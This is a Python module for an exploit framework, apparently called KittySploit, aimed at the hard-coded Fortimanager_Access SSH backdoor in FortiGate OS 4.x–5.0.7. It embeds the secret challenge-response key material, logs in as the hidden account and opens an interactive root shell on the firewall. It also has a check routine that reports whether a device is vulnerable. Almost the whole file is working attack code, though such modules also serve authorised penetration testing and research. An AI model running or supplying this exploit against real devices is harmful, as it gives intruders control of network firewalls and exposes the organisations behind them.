FortiGate OS - SSH Backdoor (Fortimanager_Access)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiGate OS 4.x–5.0.7 SSH backdoor (Fortimanager_Access)."""

from __future__ import annotations

import base64
import hashlib
import socket

from kittysploit import *
from lib.exploit.handler import Handler

try:
    import paramiko
except ImportError:
    paramiko = None


class Module(Exploit, Handler):
    __info__ = {
        "name": "FortiGate OS - SSH Backdoor (Fortimanager_Access)",
        "description": (
            "Authenticates to FortiGate OS 4.x through 5.0.7 using the hard-coded "
            "Fortimanager_Access account and interactive SSH challenge response."
        ),
        "author": ["operator8203", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "http://www.s3cur1ty.de/home-network-horror-days",
            "http://www.s3cur1ty.de/m1adv2013-003",
        ],
        "tags": ["fortinet", "fortigate", "ssh", "backdoor", "router", "iot"],
    }

    port = OptPort(22, "SSH port", required=True)

    @staticmethod
    def _challenge_response(prompt: str) -> str:
        digest = hashlib.sha1()
        digest.update(b"\x00" * 12)
        digest.update(prompt.encode("latin-1") + b"FGTAbc11*xy+Qqz27")
        digest.update(
            b"\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F"
            b"\xA1\x32\x90\x29\xA9\x81\x5B\x70"
        )
        return "AK1" + base64.b64encode(b"\x00" * 12 + digest.digest()).decode("ascii")

    def _connect(self):
        if paramiko is None:
            print_error("paramiko required: pip install paramiko")
            return None
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        host = str(self.target)
        port = int(self.port or 22)
        try:
            client.connect(host, port, username="", allow_agent=False, look_for_keys=False, timeout=int(self.timeout or 10))
        except paramiko.ssh_exception.SSHException:
            pass
        except socket.error as exc:
            print_error(f"SSH unreachable: {exc}")
            return None
        transport = client.get_transport()
        if not transport:
            return None
        try:
            transport.auth_password(username="Fortimanager_Access", password="", event=None, fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        try:
            transport.auth_interactive(
                username="Fortimanager_Access",
                handler=lambda title, instructions, prompts: [
                    self._challenge_response(prompts[0][0])
                ],
            )
        except (paramiko.ssh_exception.SSHException, socket.error):
            return None
        return client

    def check(self):
        client = self._connect()
        if client:
            client.close()
            return {"vulnerable": True, "reason": "Fortimanager_Access auth succeeded", "confidence": "high"}
        return {"vulnerable": False, "reason": "Backdoor authentication failed", "confidence": "medium"}

    def run(self):
        client = self._connect()
        if not client:
            self.not_vulnerable()
            return False
        print_success("FortiGate backdoor access granted")
        channel = client.invoke_shell()
        try:
            while True:
                if channel.recv_ready():
                    print(channel.recv(4096).decode(errors="replace"), end="")
                if channel.send_ready():
                    import sys
                    line = sys.stdin.readline()
                    if not line:
                        break
                    channel.send(line)
        except KeyboardInterrupt:
            pass
        finally:
            client.close()
        return True